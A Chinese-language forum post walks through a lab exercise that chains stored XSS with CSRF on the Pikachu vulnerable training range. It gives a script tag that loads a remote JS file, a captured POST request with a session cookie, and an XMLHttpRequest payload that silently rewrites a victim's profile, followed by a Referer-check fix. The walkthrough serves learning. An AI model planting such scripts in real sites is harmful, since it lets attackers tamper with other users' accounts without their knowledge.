[other] csrf+xss组合拳攻击
Tofloor
poster avatar
Neko205
deepin
2024-04-11 20:11
Author

csrf+xss组合拳攻击

  1. csrf
伪造一个修改信息的链接,受害者点击了就会出现信息的修改
  1. xss
  • 存储式
将恶意js代码存储于服务器中,用户访问页执行恶意代码。
  • 反射式
链接存在于get或者post传参中,用户点击,恶意代码执行

皮卡丘靶场实践

在服务器端建立一个js文件

alert(1)

使用

*type="tex*" src="http://192.168.56.3:8083/1.js">

在存储式xss区域写入这个标签

image.png

image.png

这时候就会弹窗,我们回到scrfpost模块随便登入一个账号(不知道账号在sql注入模块查)

image-20240411193953725.png

修改信息,抓包

POST /vul/csrf/csrfpost/csrf_post_edit.php HTTP/1.1
Host: 192.168.56.3:8083
Referer: http://192.168.56.3:8083/vul/csrf/csrfpost/csrf_post_edit.php
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=1i03ujnepkrsnod6r7847h69b4
Origin: http://192.168.56.3:8083
Content-Length: 79

sex=boy&phonenum=13676765545&add=nba+hs&email=grady%40pikachu.com&submit=submit

构造特殊js语句

xmlhttp = new XMLHttpRequest()
xmlhttp.open("post","http://192.168.56.3:8083/vul/csrf/csrfpost/csrf_post_edit.php")
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("sex=123123&phonenum=123123&add=usa&email=123123&submit=submit");
alert("信息被修改!");

存入http://192.168.56.3:8083/1.js地址中

访问存储xss的区域

image.png

返回查看信息

image.png

总结

scrf是一个1click的漏洞,需要用户做一次操作,而通过存储式xss即可实现0click的攻击,通过用户让的浏览器自动访问目标所实现

修复

验证Referer头,通过添加信任的Re头来规避scrf

这次面试的时候被问到了这样一个问题,因为当初没接触过scrf导致没答上来,懊悔不已,还好并未影响到面试(

Reply Favorite View the author
All Replies

No replies yet